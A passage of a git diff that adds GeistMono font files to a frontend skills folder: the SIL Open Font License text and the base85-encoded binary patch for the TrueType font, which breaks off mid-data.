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 SfL|l~e9ggiUw<&2;{OAG=8!`G literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/GeistMono-OFL.txt b/skills/frontend-dev/canvas-fonts/GeistMono-OFL.txt new file mode 100644 index 0000000..679a685 --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/GeistMono-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2024 The Geist Project Authors (https://github.com/vercel/geist-font.git) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/GeistMono-Regular.ttf b/skills/frontend-dev/canvas-fonts/GeistMono-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..1a30262ab749ea7a56aedd91410d8be3787db548 GIT binary patch literal 78232 zcmbrn34B$>**`ur=jLW5`$m9pbF-3!<mP4%Ngz99BP2JG9RdUr3;~mXh=@pCP!Vz8 zEpDi2Ewz@qpf9MU*1Fd!ZWPg4Ypu0PeNo}&_kCv0x%b=<+P?pP&S%b<^UTciJoC&m zGtbO<?u2p1SOjhs7T!=>SHD86Ok_-KWsGlZXq(+}?xHo57)yVHvGCU#Iy$RQe}Cdm z#^xSlEc?;f9l6c`zp3{jzYSQHcDSlsf4S|Ia+E!S_nFJrbgwJ9{^WOzMc&F-fPGc> z&^o}wk)DEQz^eWWR$lVNK{sQU?O^QDpx&PD6-hNGtB}4M=|#N&j67kb{LOez>0L9t zap5$}n~WtKU~F7u|Jvo<cb_xpU`#v7nDy>8-5b|w1MCar&qjXRnx5hARlj`UdAt+d z+=1>jJs}fkBrp~Pe*E3*)(#ENNVX<3R<aw}E7lG6tn0PzxD5FxBESEWeB`oymTU0J z_{azg!;@*P>|)fQkA={i=})6vNdLS0J;-D3_eG}<h@IN!rW}ZB({MA&WgsqA^bf4U zlj4>k6(`=c=I-HvnhOS1ZocxNw|?38)snFCe=$wr{A9{Ke?va@N#!H2eP1*Z2wErb zYGs0;_#<ut<Xg17r!aB;s@`ED-Z$Lcj~3u88m&%z3!bW%0cFGlkLSDafRvd<%thP} zZ&!)AcyCfqzL+_AC1quSvMjrYiIH&rvmezPV_oev&Fmnvog7gz(N1uyjj>xOT||n* zc-X)%sIyRlf#nj!^8iUgNM@P1XEPV>U2G}t%h)#DFJ=31e;gNQPq43X|Ax64M|Ewu z+xcwV+xcAF=ktZQFX78^@8PR(@8fH5U(46xzMikg{d|5t?wk0<xNqaY&oAYd;(j^5 z9QP~vHMs9W{W-s$--P?E{0`jj;y=axUcLwSy?ih3kMf`4{&NoA_~RVB@n`w7xF6&% z;Qkx_8{B`#e~0@k{1x2a;BVmm7Jrv<F&A>>;#Kh~?r({=aDPX<!?+fqMc{7JQqbmU zS}E?+v`Ro4wMNvM%a(%fvowToNKTV^8S-W`Kdl5MNJlkos+ObWB3+o%Q6`4vurgN9 z+Sy_@z&5eV+4byhwwL{$x%pIH%IkO=U℘c77xODe8F;ydUA8@)JN6BH~4gaEO)S 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 